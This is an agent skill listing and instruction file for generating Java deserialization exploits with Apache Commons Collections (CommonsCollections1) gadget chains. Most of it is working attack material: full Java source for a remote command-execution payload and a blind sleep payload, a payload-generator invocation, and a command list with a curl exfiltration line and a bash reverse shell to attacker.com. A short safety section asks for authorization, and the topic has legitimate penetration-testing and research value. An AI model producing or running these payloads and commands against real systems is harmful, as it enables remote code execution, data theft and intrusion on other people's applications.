# Java Deserialization Payloads

> Generate and explain Java deserialization payloads using Apache Commons Collections gadget chains. Use this skill whenever the user mentions Java deserialization, Apache Commons Collections, gadget chains, ysoserial, CommonsCollections1, or needs to create payloads for command execution or blind testing (thread sleep) in Java applications. This skill helps security researchers understand and generate deserialization exploits.

- Skill: `abelrguezr/java-deserialization-payloads` (Agent Skill, multi-file: 3 files)
- Install (CLI): `npx skillmds@latest add abelrguezr/java-deserialization-payloads`
- Raw SKILL.md: https://api.skillmd.com/api/skills/abelrguezr/java-deserialization-payloads/raw
- Safety review: pending
- Works with: Claude Code, Claude.ai, OpenAI Codex
- Category: Security
- Author: abelrguezr (https://skillmd.com/u/abelrguezr)
- Updated: 2026-09-10
- Page: https://skillmd.com/skills/abelrguezr/java-deserialization-payloads

---


# Java Deserialization Payloads

A skill for generating and explaining Java deserialization payloads, specifically focusing on Apache Commons Collections gadget chains.

## When to Use This Skill

Use this skill when:
- You need to generate Java deserialization payloads for security testing
- You want to understand how CommonsCollections1 or similar gadget chains work
- You need to create blind testing payloads (thread sleep) to detect vulnerabilities
- You're working with ysoserial or similar deserialization tools
- You need to explain deserialization exploitation to others

## CommonsCollections1 Gadget Chain

The CommonsCollections1 payload uses Apache Commons Collections transformers to chain together method calls that result in arbitrary command execution.

### How It Works

The payload chains four transformers together:

1. **ConstantTransformer** - Returns the `Runtime` class
2. **InvokerTransformer** - Calls `getMethod("getRuntime")` on Runtime class
3. **InvokerTransformer** - Invokes `getRuntime()` to get a Runtime instance
4. **InvokerTransformer** - Calls `exec(command)` on the Runtime instance

The chain is triggered by `LazyMap.get()` which calls the factory's `transform()` method on any key lookup.

### Equivalent Code

The payload is equivalent to:

```java
Runtime.getRuntime().exec(new String[]{"calc.exe"});
```

Or more precisely:

```java
((Runtime) (Runtime.class.getMethod("getRuntime").invoke(null))).exec(new String[]{"calc.exe"});
```

## Generating Payloads

### Command Execution Payload

Use the `generate_commons_collections_payload.py` script to create payloads:

```bash
# Generate command execution payload
python scripts/generate_commons_collections_payload.py \
    --type command \
    --command "calc.exe" \
    --output payload.java

# Generate thread sleep payload for blind testing
python scripts/generate_commons_collections_payload.py \
    --type sleep \
    --duration 5000 \
    --output sleep_payload.java
```

### Manual Payload Construction

For command execution:

```java
import org.apache.commons.collections.functors.*;
import org.apache.commons.collections.map.*;
import java.util.Map;
import java.util.HashMap;

public class CommonsCollections1Payload {
    public static void main(String... args) {
        String[] command = {"YOUR_COMMAND_HERE"};
        final Transformer[] transformers = new Transformer[]{
                new ConstantTransformer(Runtime.class),
                new InvokerTransformer("getMethod",
                        new Class[]{String.class, Class[].class},
                        new Object[]{"getRuntime", new Class[0]}),
                new InvokerTransformer("invoke",
                        new Class[]{Object.class, Object[].class},
                        new Object[]{null, new Object[0]}),
                new InvokerTransformer("exec",
                        new Class[]{String.class},
                        command)
        };
        ChainedTransformer chainedTransformer = new ChainedTransformer(transformers);
        Map map = new HashMap<>();
        Map lazyMap = LazyMap.decorate(map, chainedTransformer);
        lazyMap.get("anything");
    }
}
```

For blind testing (thread sleep):

```java
import org.apache.commons.collections.functors.*;
import org.apache.commons.collections.map.*;
import java.util.Map;
import java.util.HashMap;

public class CommonsCollections1Sleep {
    public static void main(String... args) {
        final Transformer[] transformers = new Transformer[]{
                new ConstantTransformer(Thread.class),
                new InvokerTransformer("getMethod",
                        new Class[]{String.class, Class[].class},
                        new Object[]{"sleep", new Class[]{Long.TYPE}}),
                new InvokerTransformer("invoke",
                        new Class[]{Object.class, Object[].class},
                        new Object[]{null, new Object[]{7000L}})
        };
        ChainedTransformer chainedTransformer = new ChainedTransformer(transformers);
        Map map = new HashMap<>();
        Map lazyMap = LazyMap.decorate(map, chainedTransformer);
        lazyMap.get("anything");
    }
}
```

## Understanding the Chain

### The LazyMap Mechanism

```java
Map map = new HashMap<>();
Map lazyMap = LazyMap.decorate(map, chainedTransformer);
lazyMap.get("anything");
```

When `lazyMap.get("anything")` is called:

1. `LazyMap.get()` checks if the key exists
2. If not, it calls `factory.transform(key)` where factory is the `ChainedTransformer`
3. `ChainedTransformer.transform()` iterates through all transformers
4. Each transformer's output becomes the next transformer's input
5. The final result is the executed command

### Transform Flow

```
Input: "anything"
  ↓
Transformer 1: ConstantTransformer(Runtime.class)
  ↓ Output: Runtime.class
  ↓
Transformer 2: InvokerTransformer("getMethod", ...)
  ↓ Output: Method object for getRuntime()
  ↓
Transformer 3: InvokerTransformer("invoke", ...)
  ↓ Output: Runtime instance
  ↓
Transformer 4: InvokerTransformer("exec", ...)
  ↓ Output: Process handle (command executed)
```

## Triggering the Payload

The payload itself doesn't execute until deserialization occurs. In ysoserial, the `AnnotationInvocationHandler` gadget is used because when it's deserialized, it invokes the `get()` method which triggers the entire chain.

## Common Commands

### Linux
- `id` - Check user context
- `whoami` - Current user
- `cat /etc/passwd` - Read passwd file
- `curl http://attacker.com/$(id)` - Exfiltrate data
- `bash -i >& /dev/tcp/attacker.com/4444 0>&1` - Reverse shell

### Windows
- `calc.exe` - Calculator (test)
- `cmd.exe /c whoami` - Current user
- `powershell -c "..."` - PowerShell commands

## Blind Testing

Use thread sleep payloads to detect deserialization vulnerabilities:

- **5 second sleep** - Quick test
- **10 second sleep** - More noticeable
- **30 second sleep** - Clear indicator

If the application response is delayed by the sleep duration, the vulnerability is confirmed.

## Additional Resources

- [ysoserial CommonsCollections1](https://github.com/frohoff/ysoserial/blob/master/src/main/java/ysoserial/payloads/CommonsCollections1.java)
- [Blind Java Deserialization Gadgets](https://deadcode.me/blog/2016/09/02/Blind-Java-Deserialization-Commons-Gadgets.html)

## Safety Notes

- Only use these payloads on systems you own or have explicit permission to test
- Deserialization vulnerabilities are critical (CVSS 9.8+)
- Always have proper authorization before exploitation
- Document findings responsibly

